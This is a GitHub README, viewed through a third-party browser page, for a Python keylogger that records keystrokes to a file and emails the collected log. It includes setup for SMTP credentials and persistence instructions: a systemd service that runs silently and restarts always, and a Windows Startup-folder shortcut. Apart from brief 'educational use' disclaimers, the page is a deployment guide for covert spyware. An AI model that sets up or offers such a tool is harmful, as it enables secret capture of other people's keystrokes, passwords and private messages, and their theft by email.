| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
| Name | Name | Last commit date | ||
|---|---|---|---|---|
Educational / authorized-use notice: This project demonstrates keyboard event capture, local buffering, and email delivery in Python. Run it only on systems you own or have explicit permission to test.
This repository contains a Python-based keylogger script that records keystrokes to a local file and can send the collected log by email. It includes retry handling for email delivery, local log management, and startup examples for Linux and Windows.
Read this diagram from top to bottom. It follows the same layers used by keylogger.py: launch, imports and global state, main(), key capture, Esc detection, email sending, and cleanup/restart.
| Function | Plain-language role | Technical behavior |
|---|---|---|
| main() | Starts the program and keeps it running | Loads keylog.txt if present, starts a Listener, waits for it to stop, sleeps 5 seconds, then starts another listener |
| on_press(key) | Records each key press | Adds printable characters or special-key names to log_content, then appends the current full buffer to keylog.txt |
| on_release(key) | Watches for the session-ending key | When Esc is released, calls send_email(), clears memory and file logs, and returns False to stop the current listener |
| send_email(log_content) | Sends the captured text by email | Builds a MIME email, connects to SMTP with STARTTLS, logs in, sends the message, and retries up to 3 times |
Python 3.x
Required Python libraries:
pip install pynputA Gmail account with app-specific password if 2-Step Verification is enabled. Refer to the Google App Passwords Guide to create one.
Update the following variables in the script with your email credentials:
EMAIL_ADDRESS = 'your-email@gmail.com'
EMAIL_PASSWORD = 'your-app-password'
SMTP_SERVER = 'smtp.gmail.com'
SMTP_PORT = 587Run the script in your terminal:
python3 keylogger.pyPress Esc to send the currently collected log, clear keylog.txt, and stop the active listener session.
Because main() contains an infinite loop, the script starts listening again after 5 seconds. To fully stop the program, stop the terminal process or stop/disable the service that launched it.
Create a systemd service file:
sudo nano /etc/systemd/system/keylogger.serviceAdd the following content:
[Unit]
Description=Keylogger Script
After=multi-user.target
[Service]
ExecStart=/usr/bin/python3 /path/to/keylogger.py
WorkingDirectory=/path/to
StandardOutput=null
StandardError=null
Restart=always
[Install]
WantedBy=multi-user.targetReplace /path/to/keylogger.py with the full path to your script.
Reload systemd and enable the service:
sudo systemctl daemon-reload
sudo systemctl enable keylogger.service
sudo systemctl start keylogger.serviceVerify the service is running:
sudo systemctl status keylogger.servicePress Win + R, type shell:startup, then press Enter.
Create a shortcut in the Startup folder with the following target:
C:\Python39\python.exe C:\path\to\keylogger.py
The script will run automatically on login.
This script is for educational purposes only. Unauthorized use of keyloggers is illegal and unethical. Use it responsibly and only on systems where you have explicit permission.
The author is not responsible for any misuse of this script. Always use it in compliance with applicable laws and regulations.
| Back | FazBrowse Home | New Git URL |